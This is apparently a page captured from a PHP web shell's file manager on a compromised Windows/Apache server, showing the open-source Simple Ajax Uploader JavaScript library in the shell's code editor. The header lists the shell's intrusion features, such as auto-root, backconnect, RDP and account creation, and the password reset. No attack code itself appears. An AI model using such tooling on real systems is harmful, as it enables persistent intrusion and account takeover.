Windows NT DGPENSV2LPKMN 10.0 build 14393 (Windows Server 2016) AMD64
Apache/2.4.46 (Win64) OpenSSL/1.1.1h PHP/7.3.25
: 172.16.0.66 | : 172.16.0.254
Cant Read [ /etc/named.conf ]
7.3.25
SYSTEM
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
BLACK DEFEND!
README
+ Create Folder
+ Create File
[ A ]
[ C ]
[ D ]
C: /
laragon /
etc /
apps /
laragon /
extras /
[ HOME SHELL ]
Name
Size
Permission
Action
assets
[ DIR ]
drwxrwxrwx
.mad-root
0
B
-rw-rw-rw-
Changelog.md
14.04
KB
-rw-rw-rw-
README.md
11.99
KB
-rw-rw-rw-
SimpleAjaxUploader.js
54.52
KB
-rw-rw-rw-
SimpleAjaxUploader.min.js
19.9
KB
-rw-rw-rw-
Uploader.php
8.14
KB
-rw-rw-rw-
cors.php
920
B
-rw-rw-rw-
file_upload.php
512
B
-rw-rw-rw-
sessionProgress.php
1.23
KB
-rw-rw-rw-
uploadProgress.php
1.25
KB
-rw-rw-rw-
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SimpleAjaxUploader.js
/** * Simple Ajax Uploader * Version 2.0 * https://github.com/LPology/Simple-Ajax-Uploader * * Copyright 2012-2015 LPology, LLC * Released under the MIT license */ ;(function( window, document, undefined ) { var ss = window.ss || {}, // ss.trim() rLWhitespace = /^\s+/, rTWhitespace = /\s+$/, // ss.getUID uidReplace = /[xy]/g, // ss.getFilename() rPath = /.*(\/|\\)/, // ss.getExt() rExt = /.*[.]/, // ss.hasClass() rHasClass = /[\t\r\n]/g, // Check for Safari -- it doesn't like multi file uploading. At all. // http://stackoverflow.com/a/9851769/1091949 isSafari = Object.prototype.toString.call( window.HTMLElement ).indexOf( 'Constructor' ) > 0, isIE7 = ( navigator.userAgent.indexOf('MSIE 7') !== -1 ), // Check whether XHR uploads are supported input = document.createElement( 'input' ), XhrOk; input.type = 'file'; XhrOk = ( 'multiple' in input && typeof File !== 'undefined' && typeof ( new XMLHttpRequest() ).upload !== 'undefined' ); /** * Converts object to query string */ ss.obj2string = function( obj, prefix ) { "use strict"; var str = []; for ( var prop in obj ) { if ( obj.hasOwnProperty( prop ) ) { var k = prefix ? prefix + '[' + prop + ']' : prop, v = obj[prop]; str.push( typeof v === 'object' ? ss.obj2string( v, k ) : encodeURIComponent( k ) + '=' + encodeURIComponent( v ) ); } } return str.join( '&' ); }; /** * Copies all missing properties from second object to first object */ ss.extendObj = function( first, second ) { "use strict"; for ( var prop in second ) { if ( second.hasOwnProperty( prop ) ) { first[prop] = second[prop]; } } }; ss.addEvent = function( elem, type, fn ) { "use strict"; if ( elem.addEventListener ) { elem.addEventListener( type, fn, false ); } else { elem.attachEvent( 'on' + type, fn ); } return function() { ss.removeEvent( elem, type, fn ); }; }; ss.removeEvent = function( elem, type, fn ) { "use strict"; if ( elem.removeEventListener ) { elem.removeEventListener( type, fn, false ); } else { elem.detachEvent( 'on' + type, fn ); } }; ss.newXHR = function() { "use strict"; if ( typeof XMLHttpRequest !== 'undefined' ) { return new window.XMLHttpRequest(); } else if ( window.ActiveXObject ) { try { return new window.ActiveXObject( 'Microsoft.XMLHTTP' ); } catch ( err ) { return false; } } }; ss.getIFrame = function() { "use strict"; var id = ss.getUID(), iframe; // IE7 can only create an iframe this way, all others are the other way if ( isIE7 ) { iframe = document.createElement('<iframe src="javascript:false;" name="' + id + '">'); } else { iframe = document.createElement('iframe'); /*jshint scripturl:true*/ iframe.src = 'javascript:false;'; iframe.name = id; } iframe.style.display = 'none'; iframe.id = id; return iframe; }; ss.getForm = function( opts ) { "use strict"; var form = document.createElement('form'); form.encoding = 'multipart/form-data'; // IE form.enctype = 'multipart/form-data'; form.style.display = 'none'; for ( var prop in opts ) { if ( opts.hasOwnProperty( prop ) ) { form[prop] = opts[prop]; } } return form; }; ss.getHidden = function( name, value ) { "use strict"; var input = document.createElement( 'input' ); input.type = 'hidden'; input.name = name; input.value = value; return input; }; /** * Parses a JSON string and returns a Javascript object * Borrowed from www.jquery.com */ ss.parseJSON = function( data ) { "use strict"; if ( !data ) { return false; } data = ss.trim( data + '' ); if ( window.JSON && window.JSON.parse ) { try { // Support: Android 2.3 // Workaround failure to string-cast null input return window.JSON.parse( data + '' ); } catch ( err ) { return false; } } var rvalidtokens = /(,)|(\[|{)|(}|])|"(?:[^"\\\r\n]|\\["\\\/bfnrt]|\\u[\da-fA-F]{4})*"\s*:?|true|false|null|-?(?!0\d)\d+(?:\.\d+|)(?:[eE][+-]?\d+|)/g, depth = null, requireNonComma; // Guard against invalid (and possibly dangerous) input by ensuring that nothing remains // after removing valid tokens return data && !ss.trim( data.replace( rvalidtokens, function( token, comma, open, close ) { // Force termination if we see a misplaced comma if ( requireNonComma && comma ) { depth = 0; } // Perform no more replacements after returning to outermost depth if ( depth === 0 ) { return token; } // Commas must not follow "[", "{", or "," requireNonComma = open || comma; // Determine new depth // array/object open ("[" or "{"): depth += true - false (increment) // array/object close ("]" or "}"): depth += false - true (decrement) // other cases ("," or primitive): depth += true - true (numeric cast) depth += !close - !open; // Remove this token return ''; }) ) ? ( Function( 'return ' + data ) )() : false; }; ss.getBox = function( elem ) { "use strict"; var box, docElem, top = 0, left = 0; if ( elem.getBoundingClientRect ) { box = elem.getBoundingClientRect(); docElem = document.documentElement; top = box.top + ( window.pageYOffset || docElem.scrollTop ) - ( docElem.clientTop || 0 ); left = box.left + ( window.pageXOffset || docElem.scrollLeft ) - ( docElem.clientLeft || 0 ); } else { do { left += elem.offsetLeft; top += elem.offsetTop; } while ( ( elem = elem.offsetParent ) ); } return { top: Math.round( top ), left: Math.round( left ) }; }; /** * Helper that takes object literal * and add all properties to element.style * @param {Element} el * @param {Object} styles */ ss.addStyles = function( elem, styles ) { "use strict"; for ( var name in styles ) { if ( styles.hasOwnProperty( name ) ) { elem.style[name] = styles[name]; } } }; /** * Function places an absolutely positioned * element on top of the specified element * copying position and dimensions. */ ss.copyLayout = function( from, to ) { "use strict"; var box = ss.getBox( from ); ss.addStyles( to, { position: 'absolute', left : box.left + 'px', top : box.top + 'px', width : from.offsetWidth + 'px', height : from.offsetHeight + 'px' }); }; /** * Generates unique ID * Complies with RFC 4122 version 4 * http://stackoverflow.com/a/2117523/1091949 * ID begins with letter "a" to be safe for HTML elem ID/name attr (can't start w/ number) */ ss.getUID = function() { "use strict"; /*jslint bitwise: true*/ return 'axxxxxxxx-xxxx-4xxx-yxxx-xxxxxxxxxxxx'.replace(uidReplace, function(c) { var r = Math.random()*16|0, v = c == 'x' ? r : (r&0x3|0x8); return v.toString(16); }); }; /** * Removes white space from left and right of string */ ss.trim = function( text ) { "use strict"; return text.toString().replace( rLWhitespace, '' ).replace( rTWhitespace, '' ); }; /** * Extract file name from path */ ss.getFilename = function( path ) { "use strict"; return path.replace( rPath, '' ); }; /** * Get file extension */ ss.getExt = function( file ) { "use strict"; return ( -1 !== file.indexOf( '.' ) ) ? file.replace( rExt, '' ) : ''; }; /** * Check whether element has a particular CSS class * Parts borrowed from www.jquery.com */ ss.hasClass = function( elem, name ) { "use strict"; return ( ' ' + elem.className + ' ' ).replace( rHasClass, ' ' ).indexOf( ' ' + name + ' ' ) >= 0; }; /** * Adds CSS class to an element */ ss.addClass = function( elem, name ) { "use strict"; if ( !name || name === '' ) { return false; } if ( !ss.hasClass( elem, name ) ) { elem.className += ' ' + name; } }; /** * Removes CSS class from an element */ ss.removeClass = (function() { "use strict"; var c = {}; //cache regexps for performance return function( e, name ) { if ( !c[name] ) { c[name] = new RegExp('(?:^|\\s)' + name + '(?!\\S)'); } e.className = e.className.replace( c[name], '' ); }; })(); /** * Nulls out event handlers to prevent memory leaks in IE6/IE7 * http://javascript.crockford.com/memory/leak.html * @param {Element} d * @return void */ ss.purge = function( d ) { "use strict"; var a = d.attributes, i, l, n; if ( a ) { for ( i = a.length - 1; i >= 0; i -= 1 ) { n = a[i].name; if ( typeof d[n] === 'function' ) { d[n] = null; } } } a = d.childNodes; if ( a ) { l = a.length; for ( i = 0; i < l; i += 1 ) { ss.purge( d.childNodes[i] ); } } }; /** * Removes element from the DOM */ ss.remove = function( elem ) { "use strict"; if ( elem && elem.parentNode ) { // null out event handlers for IE ss.purge( elem ); elem.parentNode.removeChild( elem ); } elem = null; }; /** * Accepts either a jQuery object, a string containing an element ID, or an element, * verifies that it exists, and returns the element. * @param {Mixed} elem * @return {Element} */ ss.verifyElem = function( elem ) { "use strict"; if ( typeof jQuery !== 'undefined' && elem instanceof jQuery ) { elem = elem[0]; } else if ( typeof elem === 'string' ) { if ( elem.charAt( 0 ) == '#' ) { elem = elem.substr( 1 ); } elem = document.getElementById( elem ); } if ( !elem || elem.nodeType !== 1 ) { return false; } if ( elem.nodeName.toUpperCase() == 'A' ) { elem.style.cursor = 'pointer'; ss.addEvent( elem, 'click', function( e ) { if ( e && e.preventDefault ) { e.preventDefault(); } else if ( window.event ) { window.event.returnValue = false; } }); } return elem; }; ss._options = {}; ss.uploadSetup = function( options ) { "use strict"; ss.extendObj( ss._options, options ); }; ss.SimpleUpload = function( options ) { "use strict"; var i, len, btn; this._opts = { button: '', url: '', dropzone: '', dragClass: '', cors: false, progressUrl: false, sessionProgressUrl: false, nginxProgressUrl: false, multiple: false, maxUploads: 3, queue: true, checkProgressInterval: 500, keyParamName: 'APC_UPLOAD_PROGRESS', sessionProgressName: 'PHP_SESSION_UPLOAD_PROGRESS', nginxProgressHeader: 'X-Progress-ID', corsInputName: 'XHR_CORS_TARGETORIGIN', allowedExtensions: [], accept: '', maxSize: false, name: '', data: {}, noParams: false, autoSubmit: true, multipart: false, method: 'POST', responseType: '', debug: false, hoverClass: '', focusClass: '', disabledClass: '', customHeaders: {}, onAbort: function( filename, uploadBtn ) {}, onChange: function( filename, extension, uploadBtn, size ) {}, onSubmit: function( filename, extension, uploadBtn, size ) {}, onProgress: function( pct ) {}, onUpdateFileSize: function( filesize ) {}, onComplete: function( filename, response, uploadBtn ) {}, onExtError: function( filename, extension ) {}, onSizeError: function( filename, fileSize ) {}, onError: function( filename, type, status, statusText, response, uploadBtn ) {}, startXHR: function( filename, fileSize, uploadBtn ) {}, endXHR: function( filename, fileSize, uploadBtn ) {}, startNonXHR: function( filename, uploadBtn ) {}, endNonXHR: function( filename, uploadBtn ) {} }; // Include any setup options ss.extendObj( this._opts, ss._options ); // Then add options for this instance ss.extendObj( this._opts, options ); options = null; this._btns = []; // An array of buttons was passed if ( this._opts.button instanceof Array ) { len = this._opts.button.length; for ( i = 0; i < len; i++ ) { btn = ss.verifyElem( this._opts.button[i] ); if ( btn !== false ) { this._btns.push( this.rerouteClicks( btn ) ); } else { this.log( 'Button with array index ' + i + ' is invalid' ); } } // A single button was passed } else { btn = ss.verifyElem( this._opts.button ); if ( btn !== false ) { this._btns.push( this.rerouteClicks( btn ) ); } } delete this._opts.button; // No valid elements were passed to button option if ( this._opts.dropzone === '' && ( this._btns.length < 1 || this._btns[0] === false ) ) { throw new Error( "Invalid button. Make sure the element you're passing exists." ); } if ( this._opts.multiple === false ) { this._opts.maxUploads = 1; } // An array of objects, each containing two items, a file and a reference // to the button which triggered the upload: { file: uploadFile, btn: button } this._queue = []; this._active = 0; this._disabled = false; // if disabled, clicking on button won't do anything this._maxFails = 10; // max allowed failed progress updates requests in iframe mode this._progKeys = {}; // contains the currently active upload ID progress keys if ( !XhrOk ) { // Cache progress keys after we set sizeBox for fewer trips to the DOM this._sizeFlags = {}; } if ( XhrOk && this._opts.dropzone !== '' ) { this.addDropZone( this._opts.dropzone ); } this._createInput(); this._manDisabled = false; this.enable( true ); }; ss.SimpleUpload.prototype = { destroy: function() { "use strict"; // # of upload buttons var i = this._btns.length; // Put upload buttons back to the way we found them while ( i-- ) { // Remove event listener if ( this._btns[i].off ) { this._btns[i].off(); } // Remove any lingering classes ss.removeClass( this._btns[i], this._opts.hoverClass ); ss.removeClass( this._btns[i], this._opts.focusClass ); ss.removeClass( this._btns[i], this._opts.disabledClass ); // In case we disabled it this._btns[i].disabled = false; } // Remove div/file input combos from the DOM ss.remove( this._input.parentNode ); // Now burn it all down for ( var prop in this ) { if ( this.hasOwnProperty( prop ) ) { delete this.prop; } } }, /** * Send data to browser console if debug is set to true */ log: function( str ) { "use strict"; if ( this._opts.debug && window.console && window.console.log ) { window.console.log( '[Uploader] ' + str ); } }, /** * Replaces user data * Note that all previously set data is entirely removed and replaced */ setData: function( data ) { "use strict"; this._opts.data = data; }, /** * Set or change uploader options * @param {Object} options */ setOptions: function( options ) { "use strict"; ss.extendObj( this._opts, options ); }, /** * Designate an element as a progress bar * The CSS width % of the element will be updated as the upload progresses */ setProgressBar: function( elem ) { "use strict"; this._progBar = ss.verifyElem( elem ); }, /** * Designate an element to receive a string containing progress % during upload * Note: Uses innerHTML, so any existing child elements will be wiped out */ setPctBox: function( elem ) { "use strict"; this._pctBox = ss.verifyElem( elem ); }, /** * Designate an element to receive a string containing file size at start of upload * Note: Uses innerHTML, so any existing child elements will be wiped out */ setFileSizeBox: function( elem ) { "use strict"; this._sizeBox = ss.verifyElem( elem ); }, /** * Designate an element to be removed from DOM when upload is completed * Useful for removing progress bar, file size, etc. after upload */ setProgressContainer: function( elem ) { "use strict"; this._progBox = ss.verifyElem( elem ); }, /** * Designate an element to serve as the upload abort button */ setAbortBtn: function( elem, remove ) { "use strict"; this._abortBtn = ss.verifyElem( elem ); this._removeAbort = false; if ( remove ) { this._removeAbort = true; } }, /** * Returns number of files currently in queue */ getQueueSize: function() { "use strict"; return this._queue.length; }, /** * Enables uploader and submits next file for upload */ _cycleQueue: function() { "use strict"; if ( this._queue.length > 0 && this._opts.autoSubmit ) { this.submit(); } }, /** * Remove current file from upload queue, reset props, cycle to next upload */ removeCurrent: function( id ) { "use strict"; if ( id ) { var i = this._queue.length; while ( i-- ) { if ( this._queue[i].id === id ) { this._queue.splice( i, 1 ); break; } } } else { this._queue.splice( 0, 1 ); } this._cycleQueue(); }, /** * Clears Queue so only most recent select file is uploaded */ clearQueue: function() { "use strict"; this._queue.length = 0; }, /** * Disables upload functionality */ disable: function( _self ) { "use strict"; var i = this._btns.length, nodeName; // _self is always true when disable() is called internally this._manDisabled = !_self || this._manDisabled === true ? true : false; this._disabled = true; while ( i-- ) { nodeName = this._btns[i].nodeName.toUpperCase(); if ( nodeName == 'INPUT' || nodeName == 'BUTTON' ) { this._btns[i].disabled = true; } if ( this._opts.disabledClass !== '' ) { ss.addClass( this._btns[i], this._opts.disabledClass ); } } // Hide file input if ( this._input && this._input.parentNode ) { this._input.parentNode.style.visibility = 'hidden'; } }, /** * Enables upload functionality */ enable: function( _self ) { "use strict"; // _self will always be true when enable() is called internally if ( !_self ) { this._manDisabled = false; } // Don't enable uploader if it was manually disabled if ( this._manDisabled === true ) { return; } var i = this._btns.length; this._disabled = false; while ( i-- ) { ss.removeClass( this._btns[i], this._opts.disabledClass ); this._btns[i].disabled = false; } } }; ss.IframeUpload = { /** * Accepts a URI string and returns the hostname */ _getHost: function( uri ) { var a = document.createElement( 'a' ); a.href = uri; if ( a.hostname ) { return a.hostname.toLowerCase(); } return uri; }, _addFiles: function( file ) { var filename = ss.getFilename( file.value ), ext = ss.getExt( filename ); if ( false === this._opts.onChange.call( this, filename, ext, this._overBtn ) ) { return false; } this._queue.push({ id: ss.getUID(), file: file, name: filename, ext: ext, btn: this._overBtn, size: null }); return true; }, /** * Handles uploading with iFrame */ _uploadIframe: function( fileObj, progBox, sizeBox, progBar, pctBox, abortBtn, removeAbort ) { "use strict"; var self = this, opts = this._opts, key = ss.getUID(), iframe = ss.getIFrame(), form, url, msgLoaded = false, iframeLoaded = false, removeMessageListener, removeLoadListener, cancel; if ( opts.noParams === true ) { url = opts.url; } else { // If we're using Nginx Upload Progress Module, append upload key to the URL // Also, preserve query string if there is one url = !opts.nginxProgressUrl ? opts.url : url + ( ( url.indexOf( '?' ) > -1 ) ? '&' : '?' ) + encodeURIComponent( opts.nginxProgressHeader ) + '=' + encodeURIComponent( key ); } form = ss.getForm({ action: url, target: iframe.name, method: opts.method }); // Begin progress bars at 0% opts.onProgress.call( this, 0 ); if ( pctBox ) { pctBox.innerHTML = '0%'; } if ( progBar ) { progBar.style.width = '0%'; } // For CORS, add a listener for the "message" event, which will be // triggered by the Javascript snippet in the server response if ( opts.cors ) { removeMessageListener = ss.addEvent( window, 'message', function( event ) { // Make sure event.origin matches the upload URL if ( self._getHost( event.origin ) != self._getHost( opts.url ) ) { self.log('Non-matching origin: ' + event.origin); return; } // Set message event success flag to true msgLoaded = true; // Remove listener for message event removeMessageListener(); opts.endNonXHR.call( self, fileObj.name, fileObj.btn ); self._finish( fileObj, '', '', event.data, sizeBox, progBox, pctBox, abortBtn, removeAbort ); }); } var remove = ss.addEvent( iframe, 'load', function() { remove(); if ( opts.sessionProgressUrl ) { form.appendChild( ss.getHidden( opts.sessionProgressName, key ) ); } // PHP APC upload progress key field must come before the file field else if ( opts.progressUrl ) { form.appendChild( ss.getHidden( opts.keyParamName, key ) ); } // We get any additional data here after startNonXHR() // in case the data was changed with setData() prior to submitting for ( var prop in opts.data ) { if ( opts.data.hasOwnProperty( prop ) ) { form.appendChild( ss.getHidden( prop, opts.data[prop] ) ); } } // Add a field (default name: "XHR_CORS_TRARGETORIGIN") to tell server this is a CORS request // Value of the field is targetOrigin parameter of postMessage(message, targetOrigin) if ( opts.cors ) { form.appendChild( ss.getHidden( opts.corsInputName, window.location.href ) ); } form.appendChild( fileObj.file ); removeLoadListener = ss.addEvent( iframe, 'load', function() { if ( !iframe.parentNode || iframeLoaded ) { return; } iframeLoaded = true; delete self._progKeys[key]; delete self._sizeFlags[key]; // Remove listener for iframe load event removeLoadListener(); if ( abortBtn ) { ss.removeEvent( abortBtn, 'click', cancel ); } // After a CORS response, we wait briefly for the "message" event to finish, // during which time the msgLoaded var will be set to true, signalling success. // If iframe loads without "message" event, we assume there was an error if ( opts.cors ) { window.setTimeout(function() { ss.remove( form ); ss.remove( iframe ); // If msgLoaded has not been set to true after "message" event fires, we // infer that an error must have occurred and respond accordingly if ( !msgLoaded ) { self._errorFinish( fileObj, '', '', false, 'error', progBox, sizeBox, pctBox, abortBtn, removeAbort ); } opts = key = form = iframe = sizeBox = progBox = pctBox = abortBtn = removeAbort = null; }, 600); } // Ordinary, non-CORS upload else { try { var doc = iframe.contentDocument ? iframe.contentDocument : iframe.contentWindow.document, response = doc.body.innerHTML; opts.endNonXHR.call( self, fileObj.name, fileObj.btn ); // No way to get status and statusText for an iframe so return empty strings self._finish( fileObj, '', '', response, sizeBox, progBox, pctBox, abortBtn, removeAbort ); } catch ( e ) { self._errorFinish( fileObj, '', e.message, false, 'error', progBox, sizeBox, pctBox, abortBtn, removeAbort ); } window.setTimeout(function() { ss.remove( form ); ss.remove( iframe ); form = iframe = null; }, 0); fileObj = opts = key = sizeBox = progBox = pctBox = null; } });// end load if ( abortBtn ) { cancel = function() { ss.removeEvent( abortBtn, 'click', cancel ); delete self._progKeys[key]; delete self._sizeFlags[key]; if ( iframe ) { iframeLoaded = true; removeLoadListener(); try { if ( iframe.contentWindow.document.execCommand ) { iframe.contentWindow.document.execCommand('Stop'); } iframe.src = 'javascript'.concat(':false;'); } catch( err ) {} window.setTimeout(function() { ss.remove( form ); ss.remove( iframe ); form = iframe = null; }, 0); } self.log('Upload aborted'); opts.onAbort.call( self, fileObj.name, fileObj.btn ); self._last( sizeBox, progBox, pctBox, abortBtn, removeAbort ); }; ss.addEvent( abortBtn, 'click', cancel ); } self.log( 'Commencing upload using iframe' ); form.submit(); if ( self._hasProgUrl ) { // Add progress key to active key array self._progKeys[key] = 1; // Start timer for first progress update window.setTimeout( function() { self._getProg( key, progBar, sizeBox, pctBox, 1 ); progBar = sizeBox = pctBox = null; }, opts.checkProgressInterval ); } // Remove this file from the queue and begin next upload window.setTimeout(function() { self.removeCurrent( fileObj.id ); }, 0); });// end load document.body.appendChild( form ); document.body.appendChild( iframe ); }, /** * Retrieves upload progress updates from the server * (For fallback upload progress support) */ _getProg: function( key, progBar, sizeBox, pctBox, counter ) { "use strict"; var self = this, opts = this._opts, time = new Date().getTime(), xhr, url, callback; if ( !key ) { return; } // Nginx Upload Progress Module if ( opts.nginxProgressUrl ) { url = opts.nginxProgressUrl + '?' + encodeURIComponent( opts.nginxProgressHeader ) + '=' + encodeURIComponent( key ) + '&_=' + time; } else if ( opts.sessionProgressUrl ) { url = opts.sessionProgressUrl; } // PHP APC upload progress else if ( opts.progressUrl ) { url = opts.progressUrl + '?progresskey=' + encodeURIComponent( key ) + '&_=' + time; } callback = function() { var response, size, pct, status, statusText; try { // XDomainRequest doesn't have readyState so we // just assume that it finished correctly if ( callback && ( opts.cors || xhr.readyState === 4 ) ) { callback = undefined; xhr.onreadystatechange = function() {}; try { statusText = xhr.statusText; status = xhr.status; } catch( e ) { // We normalize with Webkit giving an empty statusText statusText = ''; status = ''; } // XDomainRequest also doesn't have status, so we // again just assume that everything is fine if ( opts.cors || ( status >= 200 && status < 300 ) ) { response = ss.parseJSON( xhr.responseText ); if ( response === false ) { self.log( 'Error parsing progress response (expecting JSON)' ); return; } // Handle response if using Nginx Upload Progress Module if ( opts.nginxProgressUrl ) { if ( response.state == 'uploading' ) { size = parseInt( response.size, 10 ); if ( size > 0 ) { pct = Math.round( ( parseInt( response.received, 10 ) / size ) * 100 ); size = Math.round( size / 1024 ); // convert to kilobytes } } else if ( response.state == 'done' ) { pct = 100; } else if ( response.state == 'error' ) { self.log( 'Error requesting upload progress: ' + response.status ); return; } } // Handle response if using PHP APC else if ( opts.sessionProgressUrl || opts.progressUrl ) { if ( response.success === true ) { size = parseInt( response.size, 10 ); pct = parseInt( response.pct, 10 ); } } // Update progress bar width if ( pct ) { if ( pctBox ) { pctBox.innerHTML = pct + '%'; } if ( progBar ) { progBar.style.width = pct + '%'; } opts.onProgress.call( self, pct ); } if ( size && !self._sizeFlags[key] ) { if ( sizeBox ) { sizeBox.innerHTML = size + 'K'; } self._sizeFlags[key] = 1; opts.onUpdateFileSize.call( self, size ); } // Stop attempting progress checks if we keep failing if ( !pct && !size && counter >= self._maxFails ) { counter++; self.log( 'Failed progress request limit reached. Count: ' + counter ); return; } // Begin countdown until next progress update check if ( pct < 100 && self._progKeys[key] ) { window.setTimeout( function() { self._getProg( key, progBar, sizeBox, pctBox, counter ); key = progBar = sizeBox = pctBox = counter = null; }, opts.checkProgressInterval ); } // We didn't get a 2xx status so don't continue sending requests } else { delete self._progKeys[key]; self.log( 'Error requesting upload progress: ' + status + ' ' + statusText ); } xhr = size = pct = status = statusText = response = null; } } catch( e ) { self.log( 'Error requesting upload progress: ' + e.message ); } }; // CORS requests in IE8 and IE9 must use XDomainRequest if ( opts.cors && !opts.sessionProgressUrl ) { if ( window.XDomainRequest ) { xhr = new window.XDomainRequest(); xhr.open( 'GET', url, true ); xhr.onprogress = xhr.ontimeout = function() {}; xhr.onload = callback; xhr.onerror = function() { delete self._progKeys[key]; key = null; self.log('Error requesting upload progress'); }; // IE7 or some other dinosaur -- just give up } else { return; } } else { var method = !opts.sessionProgressUrl ? 'GET' : 'POST', params; xhr = ss.newXHR(); xhr.onreadystatechange = callback; xhr.open( method, url, true ); // PHP session progress updates must be a POST request if ( opts.sessionProgressUrl ) { params = encodeURIComponent( opts.sessionProgressName ) + '=' + encodeURIComponent( key ); xhr.setRequestHeader( 'Content-type', 'application/x-www-form-urlencoded' ); } // Set the upload progress header for Nginx if ( opts.nginxProgressUrl ) { xhr.setRequestHeader( opts.nginxProgressHeader, key ); } xhr.setRequestHeader( 'X-Requested-With', 'XMLHttpRequest' ); xhr.setRequestHeader( 'Accept', 'application/json, text/javascript, */*; q=0.01' ); xhr.send( ( opts.sessionProgressUrl && params ) || null ); } }, _initUpload: function( fileObj ) { if ( false === this._opts.startNonXHR.call( this, fileObj.name, fileObj.btn ) ) { if ( this._disabled ) { this.enable( true ); } this._active--; return; } this._hasProgUrl = ( this._opts.progressUrl || this._opts.sessionProgressUrl || this._opts.nginxProgressUrl ) ? true : false; this._uploadIframe( fileObj, this._progBox, this._sizeBox, this._progBar, this._pctBox, this._abortBtn, this._removeAbort ); this._progBox = this._sizeBox = this._progBar = this._pctBox = this._abortBtn = this._removeAbort = null; } }; ss.XhrUpload = { _addFiles: function( files ) { var total = files.length, filename, ext, size, i; if ( !this._opts.multiple ) { total = 1; } for ( i = 0; i < total; i++ ) { filename = ss.getFilename( files[i].name ); ext = ss.getExt( filename ); size = Math.round( files[i].size / 1024 ); if ( false === this._opts.onChange.call( this, filename, ext, size ) ) { return false; } this._queue.push({ id: ss.getUID(), file: files[i], name: filename, ext: ext, btn: this._overBtn, size: size }); } return true; }, /** * Handles uploading with XHR */ _uploadXhr: function( fileObj, url, params, headers, sizeBox, progBar, progBox, pctBox, abortBtn, removeAbort ) { "use strict"; var self = this, opts = this._opts, xhr = ss.newXHR(), callback, cancel; // Inject file size into size box if ( sizeBox ) { sizeBox.innerHTML = fileObj.size + 'K'; } // Begin progress bars at 0% if ( pctBox ) { pctBox.innerHTML = '0%'; } if ( progBar ) { progBar.style.width = '0%'; } opts.onProgress.call( this, 0 ); // Borrows heavily from jQuery ajax transport callback = function( _, isAbort ) { var status, statusText; // Firefox throws exceptions when accessing properties // of an xhr when a network error occurred try { // Was never called and is aborted or complete if ( callback && ( isAbort || xhr.readyState === 4 ) ) { callback = undefined; xhr.onreadystatechange = function() {}; // If it's an abort if ( isAbort ) { // Abort it manually if needed if ( xhr.readyState !== 4 ) { xhr.abort(); } opts.onAbort.call( self, fileObj.name, fileObj.btn ); self._last( sizeBox, progBox, pctBox, abortBtn, removeAbort ); } else { if ( abortBtn ) { ss.removeEvent( abortBtn, 'click', cancel ); } status = xhr.status; // Firefox throws an exception when accessing // statusText for faulty cross-domain requests try { statusText = xhr.statusText; } catch( e ) { // We normalize with Webkit giving an empty statusText statusText = ''; } if ( status >= 200 && status < 300 ) { opts.endXHR.call( self, fileObj.name, fileObj.size, fileObj.btn ); self._finish( fileObj, status, statusText, xhr.responseText, sizeBox, progBox, pctBox, abortBtn, removeAbort ); // We didn't get a 2xx status so throw an error } else { self._errorFinish( fileObj, status, statusText, xhr.responseText, 'error', progBox, sizeBox, pctBox, abortBtn, removeAbort ); } } } } catch ( e ) { if ( !isAbort ) { self._errorFinish( fileObj, -1, e.message, false, 'error', progBox, sizeBox, pctBox, abortBtn, removeAbort ); } } }; if ( abortBtn ) { cancel = function() { ss.removeEvent( abortBtn, 'click', cancel ); if ( callback ) { callback( undefined, true ); } }; ss.addEvent( abortBtn, 'click', cancel ); } xhr.onreadystatechange = callback; xhr.open( opts.method.toUpperCase(), url, true ); ss.extendObj( headers, opts.customHeaders ); for ( var i in headers ) { if ( headers.hasOwnProperty( i ) ) { xhr.setRequestHeader( i, headers[ i ] + '' ); } } ss.addEvent( xhr.upload, 'progress', function( event ) { if ( event.lengthComputable ) { var pct = Math.round( ( event.loaded / event.total ) * 100 ); opts.onProgress.call( self, pct ); if ( pctBox ) { pctBox.innerHTML = pct + '%'; } if ( progBar ) { progBar.style.width = pct + '%'; } } }); if ( opts.multipart === true ) { var formData = new FormData(); for ( var prop in params ) { if ( params.hasOwnProperty( prop ) ) { formData.append( prop, params[prop] ); } } formData.append( opts.name, fileObj.file ); this.log( 'Commencing upload using multipart form' ); xhr.send( formData ); } else { this.log( 'Commencing upload using binary stream' ); xhr.send( fileObj.file ); } // Remove file from upload queue and begin next upload this.removeCurrent( fileObj.id ); }, _initUpload: function( fileObj ) { "use strict"; var params = {}, headers = {}, url; // Call the startXHR() callback and stop upload if it returns false // We call it before _uploadXhr() in case setProgressBar, setPctBox, etc., is called if ( false === this._opts.startXHR.call( this, fileObj.name, fileObj.size, fileObj.btn ) ) { if ( this._disabled ) { this.enable( true ); } this._active--; return; } params[this._opts.name] = fileObj.name; headers['X-Requested-With'] = 'XMLHttpRequest'; headers['X-File-Name'] = fileObj.name; if ( this._opts.responseType.toLowerCase() == 'json' ) { headers['Accept'] = 'application/json, text/javascript, */*; q=0.01'; } if ( !this._opts.multipart ) { headers['Content-Type'] = 'application/octet-stream'; } // We get the any additional data here after startXHR() ss.extendObj( params, this._opts.data ); // Build query string while preserving any existing parameters url = this._opts.noParams === true ? this._opts.url : this._opts.url + ( ( this._opts.url.indexOf( '?' ) > -1 ) ? '&' : '?' ) +ss.obj2string( params ); this._uploadXhr( fileObj, url, params, headers, this._sizeBox, this._progBar, this._progBox, this._pctBox, this._abortBtn, this._removeAbort ); this._sizeBox = this._progBar = this._progBox = this._pctBox = this._abortBtn = this._removeAbort = null; } }; (function(){ ss.extendObj( ss.SimpleUpload.prototype, { _createInput: function() { "use strict"; var self = this, div = document.createElement( 'div' ); this._input = document.createElement( 'input' ); this._input.type = 'file'; this._input.name = this._opts.name; // Don't allow multiple file selection in Safari -- it has a nasty bug // http://stackoverflow.com/q/7231054/1091949 if ( XhrOk && !isSafari && this._opts.multiple ) { this._input.multiple = true; } // Check support for file input accept attribute if ( 'accept' in this._input && this._opts.accept !== '' ) { this._input.accept = this._opts.accept; } ss.addStyles( div, { 'display' : 'block', 'position' : 'absolute', 'overflow' : 'hidden', 'margin' : 0, 'padding' : 0, 'opacity' : 0, 'direction' : 'ltr', 'zIndex': 2147483583 }); ss.addStyles( this._input, { 'position' : 'absolute', 'right' : 0, 'margin' : 0, 'padding' : 0, 'fontSize' : '480px', 'fontFamily' : 'sans-serif', 'cursor' : 'pointer' }); if ( div.style.opacity !== 